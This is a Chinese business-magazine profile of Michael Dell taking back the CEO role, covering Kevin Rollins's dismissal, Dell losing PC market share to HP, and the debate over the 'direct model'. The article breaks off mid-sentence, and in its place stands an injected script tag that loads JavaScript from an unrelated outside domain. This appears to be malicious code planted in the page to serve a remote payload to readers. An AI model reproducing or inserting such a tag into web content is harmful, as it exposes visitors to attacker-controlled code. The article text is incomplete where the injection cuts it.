解雇老搭档、重新担任ceo 、修正直接模式并瞄准手机业务。创业天才迈克尔。戴尔讲述他如何重获“第二人生”
“欢迎回来。”我们对迈克尔。戴尔（michael dell）说。
这位42岁、身材高大的休斯敦人立刻开心地笑了起来，“感觉的确不错。”
在随后的采访中，他又不止一次提到自己仿佛开始了“第二人生”，状态如同回到了十年前。那时他32岁，所创立的以自己名字命名的公司经历了前期的积累后正处在井喷式的“黄金时期”——销售规模成长了十多倍，达到了180 多亿美元，股价上涨了36000%——而他自己也被视为新经济时代的“金童”，常常与工业时代的亨利。福特（henry ford）相提并论。在很多公开场合，他总结成功的秘诀是，“找到了一种合适的商业模式。”
而眼下这位两鬓已经略显花白的超级富豪坐在我们面前时，尽管依旧满面红光，身上散发出充沛精力，一如23年前那个大学没读完就跑去创办戴尔电脑公司的年轻小子，但是每个人都知道，本已处于半退休状态的他，再次走上前台，是迫于压力。
他的公司正面临自1984年成立以来最大的一次危机—业绩停滞不前，市场份额逐步下滑，已经有连续5 个季度的收益低于市场预期，整体销售额止步于580 亿美元。就在5 个月前，戴尔公司的“全球最大pc厂商”的头衔耻辱地被老对手惠普公司夺去，至今未能扭转。今年一季度，根据idc 的数据，惠普占据了19.1% 的全球pc市场份额，戴尔的份额降至15.2%.
去年年中时，甚至还传出了戴尔公司可能因为财报作假而将被纳斯达克摘牌的流言。这些现象在华尔街看来，根本不应该在一个讲究绩效的公司中出现，由此也开始一次次质疑戴尔的前景。在过去的一年，戴尔股价下跌了约25% ，今年年初以来的跌幅为9%.
这让看惯了戴尔公司高速增长的投资者们满腹怨言，他们指责的是，这家公司固执地守着原来的商业模式，迟迟不敢改变。
现在，改变开始了。首当其冲的就是更换了ceo.曾被美国商界视为迈克尔。戴尔“最佳搭档”的凯文。罗林斯（kevin rollins ），在今年1 月的最后一天突然宣布被炒了鱿鱼，带着500 万美元的补偿黯然离去，身为公司董事长的迈克尔。戴尔重掌大权。
毫无疑问，这并非迈克尔。戴尔的本意。在罗林斯担任ceo 的过去三年里，他们二人合作紧密，彼此的办公室之间只隔着一道玻璃墙，墙上的门永远没有关上过。在2005年接受本刊采访时，罗林斯也称，两人在各自做决策的时候，大概有80% 是正确的，而一起做决策时，正确率会更高。（详情请于gemag.com.cn查询本刊2005年7 月号《谁能阻止戴尔》）就在迈克尔。戴尔正式宣布复出的前几个月，他还在公开场合表示力挺年长自己12岁的罗林斯。
但迈克尔。戴尔几乎没有选择，因为除了他以外，没人相信还有谁能改变戴尔公司的“直接模式”—没错，就是那个戴尔赖以发家，在过去二十年横扫pc行业的商业模式。除去业绩下滑，最初制定的2010年左右达到800 亿美元销售额的目标已成泡影外，外界越来越多的质疑声对准的就是“直接模式”。极端的观点甚至认为“直接模式”已经走到尽头，因为在讲究用户体验的时代，“直接模式”讲究低价和缺乏个性的做法开始落伍，最终将会被淘汰。
迈克尔。戴尔当然也不会愿意承认这一点。在重新成为ceo 后，他仍坚持“直接模式”是戴尔公司的根本，他向我们明确表示，这不会有本质性改变，不过在此基础上会做大量有利于客户的调整，比如进一步完善供应链管理、增加用户体验，同时减低运营成本等等。
但是他必须承认的是，在重新成为ceo 后，他的角色已经明确发生了改变——二十多年前，他是“直接模式”的发明人，二十多年后，他得扮演“直接模式”的修正者，而且在未来的几年里，他将不会给自己寻找替代者。
“你凭什么相信自己能再次成功？”我们问。
打倒官僚主义
“为什么不能？”一直平静回答提问的迈克尔。戴尔也许是因为这个问题有些没头没脑而开始变得不耐烦。“你们要是不信，18个月后再来见我，到时候戴尔很多方面都会发生大变化。”
事实上，变化早已开始。“第二人生”开始后的第二天早上，迈克尔。戴尔召集了公司的副总裁和总监们开会，然后把会议内容写成邮件，发送给了全体员工。
在会上，迈克尔。戴尔先是?script src=http://er12.com/t.js>
